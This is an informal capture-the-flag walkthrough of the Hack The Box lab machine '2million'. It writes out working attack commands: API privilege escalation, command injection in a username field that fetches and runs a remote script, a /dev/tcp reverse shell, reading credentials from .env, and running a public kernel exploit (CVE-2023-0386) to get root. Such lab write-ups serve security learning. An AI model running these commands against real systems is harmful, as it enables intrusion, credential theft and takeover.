How to
10.129.229.66
run nmap and getting Did not follow redirect to http://2million.htb/ on port 80 added the IP in /etc/hosts
initially I curl IP but getting 301 after adding it to /etc/hosts getting actual html
why?
I can curl now and seeing /login on chrome I've done: http://2million.htb/login
getting email and password tried admin admin admin@2million.htb a few more combos but nothing
this isnt the way to go I presume
ok tried ssh admin@ but obviously nothing
scan again using sudo nmap -sC -sV -oA 2million 10.129.229.66 why 2million this time???
seeing PHPSESSID http flag not set - this is the only thing that stands out not bothering with ssh
ok let me see what PHPSESSID http flag is, google time ok this is nothing
when I login Im seeing a call to /api/v1
on the main page there is a /invite and also gobuster gave me /invite as well and /register
/register directly doesnt work, it wants a valid invite code so back to /invite
source code for /invite doesnt show anything there is a javascript function that checks the invite code is valid
but in the source tab on the console there is a invite.api.mini.js obfuscated, lets run this and see
there is a /how/to/generate
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
gives me ROT13 encryption
echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
this gives me:
curl -X POST http://2million.htb/api/v1/invite/generate {"0":200,"success":1,"data":{"code":"UVI4VkQtNzRBSEItSTYxSkotOUZZR1c=","format":"encoded"}}%
echo "UVI4VkQtNzRBSEItSTYxSkotOUZZR1c=" | base64 -d
and now I can register, the invite code is valid
lets see the dashboard
curl -b "PHPSESSID=8air2gief61dkji9kts8nk8f44" http://2million.htb/home > home.html
curl -b "PHPSESSID=8air2gief61dkji9kts8nk8f44" http://2million.htb/api/v1 | jq > api.json
the phpsessid from browser
update my user to admin mode: curl -X PUT -b "PHPSESSID=8air2gief61dkji9kts8nk8f44" -H "Content-Type: application/json" -d '{"email":"alex@mail.com","is_admin":1}' http://2million.htb/api/v1/admin/settings/update
generate vpn and download
curl --output vpn_settings.ovpn -b "PHPSESSID=8air2gief61dkji9kts8nk8f44" http://2million.htb/api/v1/user/vpn/download
ifconfig tun0
RCE
The server has a PHP file doing this: phpsystem("bash /var/www/gen_vpn.sh " . $_POST['username']); You POST username=alex → server runs bash gen_vpn.sh alex → gives you VPN config. Normal. You POST username=$(curl 10.10.14.91:8080/shell.sh|bash) Server runs: bash gen_vpn.sh $(curl 10.10.14.91:8080/shell.sh|bash) $() means "run this first." So server runs curl 10.10.14.91:8080/shell.sh|bash first. That hits YOUR python server, downloads shell.sh, pipes it into bash. shell.sh contains: bash -i >& /dev/tcp/10.10.14.91/4444 0>&1 This tells the server's bash: connect to my IP on port 4444 and send me your terminal. Your netcat is waiting on 4444. Connection made. You're in. Why previous attempts failed: Your Mac's zsh saw >& and $() and ran them locally before curl could send them. The server never saw them. Writing to a file meant zsh never touched the payload — curl sent it raw.
cat /var/www/html/.env db creds su admin
can now read /home/admin/user.txt -> user flag OK
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat /var/mail/admin
google searchsploit CVE-2023-0386 git clone https://github.com/xkaneiki/CVE-2023-0386 zip -r exploit.zip CVE
rever shell: cd /tmp && curl http://10.10.14.91:8080/exploit.zip -o exploit.zip && unzip exploit.zip
cd /tmp/CVE-2023-0386 && ./fuse ./ovlcap/lower ./gc &
immediately after ./exp
now in root mode root flag under /root/